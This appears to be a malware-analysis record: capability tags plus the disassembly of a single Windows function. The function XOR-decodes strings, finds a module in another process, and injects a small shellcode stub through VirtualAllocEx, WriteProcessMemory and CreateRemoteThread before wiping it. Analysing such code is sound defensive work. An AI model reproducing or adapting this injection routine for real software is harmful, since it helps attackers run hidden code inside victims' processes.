Function at 0x14000c880
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Enumerate process modules
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x230]
sub rsp, 0x330
mov rax, qword [0x14008f200]
xor rax, rsp
mov qword [rbp + 0x210], rax
movzx r14d, r8b
mov r15, rdx
mov r8d, ecx
mov ebx, ecx
mov ecx, 0x1fffff
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000cd15
movzx ecx, byte [0x140058bb2]
mov edx, ebx
movzx r8d, word [0x140058bb0]
xor cl, 0x3b
movsd xmm0, qword [str.DAVF]
xor esi, esi
movsd qword [rbp + 0x190], xmm0
xor byte [rbp + 0x191], 0x32
xor byte [rbp + 0x192], 0x33
xor byte [rbp + 0x193], 0x34
xor byte [rbp + 0x194], 0x35
xor byte [rbp + 0x195], 0x36
xor byte [rbp + 0x196], 0x37
xor byte [rbp + 0x197], 0x38
mov word [rbp + 0x198], r8w
xor r8b, 0x39
xor byte [rbp + 0x199], 0x3a
mov byte [rbp + 0x19a], cl
mov ecx, 0x18
mov byte [rbp + 0x190], 0x75
mov byte [rbp + 0x198], r8b
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000c9ad
lea rdx, [rsp + 0x50]
mov dword [rsp + 0x50], 0x238
mov rcx, rax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x14000c9ad
lea rdx, [rbp + 0x190]
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x14000c9a8
lea rdx, [rsp + 0x50]
mov rcx, rbx
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x14000c980
jmp 0x14000c9ad
mov rsi, qword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x14000cd15
movups xmm0, xmmword [str.bWGcXSWNROMR9]
movzx eax, byte [0x140058bd0]
xor ecx, ecx
cmp dword [0x14008f258], 2
movups xmmword [rbp + 0x1a0], xmm0
mov byte [rbp + 0x1b8], al
movsd xmm0, qword [0x140058bc8]
movsd qword [rbp + 0x1b0], xmm0
jl 0x14000cb2e
movdqa xmm0, xmmword [0x140059590]
lea rdx, [rbp + 0x1a4]
movdqa xmm4, xmmword [0x140059550]
movdqa xmm3, xmmword [0x140059680]
movdqa xmm5, xmmword [0x140059570]
movdqa xmmword [rbp + 0x190], xmm0
mov r8d, dword [rbp + 0x190]
movaps xmmword [rsp + 0x320], xmm6
movdqa xmm6, xmmword [0x140059580]
nop
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm4
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x14000ca40
movaps xmm6, xmmword [rsp + 0x320]
cmp ecx, 0x19
jge 0x14000cb71
movsxd rax, ecx
lea r9, [rbp + 0x1a0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x5397829d
lea r9, [r9 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul r8d, eax, 0x31
add r8b, cl
inc ecx
xor byte [r9 - 1], r8b
cmp ecx, 0x19
jl 0x14000cb40
lea r8, [rbp + 0x1a0]
mov rdx, rsi
mov rcx, rdi
call fcn.14000bda0
mov rcx, rax
test rax, rax
je 0x14000cd15
mov eax, dword [0x140058c28]
neg r14b
movups xmm0, xmmword [0x140058be0]
mov r9d, 0x3000
movups xmm1, xmmword [0x140058bf0]
mov r8d, 0x4f
mov dword [rbp + 0x208], eax
movzx eax, word [0x140058c2c]
mov word [rbp + 0x20c], ax
movzx eax, byte [0x140058c2e]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm0, xmmword [0x140058c00]
movups xmmword [rbp + 0x1e0], xmm0
movsd xmm0, qword [0x140058c20]
movups xmmword [rbp + 0x1d0], xmm1
movups xmm1, xmmword [0x140058c10]
mov byte [rbp + 0x20e], al
sbb eax, eax
movups xmmword [rbp + 0x1f0], xmm1
and eax, 0x11
mov qword [rbp + 0x1eb], rcx
xor edx, edx
mov rcx, rdi
mov dword [rbp + 0x1e5], eax
movsd qword [rbp + 0x200], xmm0
mov qword [rbp + 0x1da], r15
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
je 0x14000cd15
lea rax, [rsp + 0x40]
mov r9d, 0x4f
lea r8, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000cd15
mov qword [rsp + 0x30], 0
mov r9, rbx
mov dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
dec rax
cmp rax, 0xfffffffffffffffd
ja 0x14000cd15
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, [rbp + 0x1c0]
xorps xmm0, xmm0
mov qword [rbp + 0x200], rax
mov dword [rbp + 0x208], eax
mov r9d, 0x4f
mov word [rbp + 0x20c], ax
mov rdx, rbx
mov byte [rbp + 0x20e], al
mov rcx, rdi
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000cd15
mov al, 1
jmp 0x14000cd17
xor al, al
mov rcx, qword [rbp + 0x210]
xor rcx, rsp
call fcn.140054ee0
mov rbx, qword [rsp + 0x378]
add rsp, 0x330
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret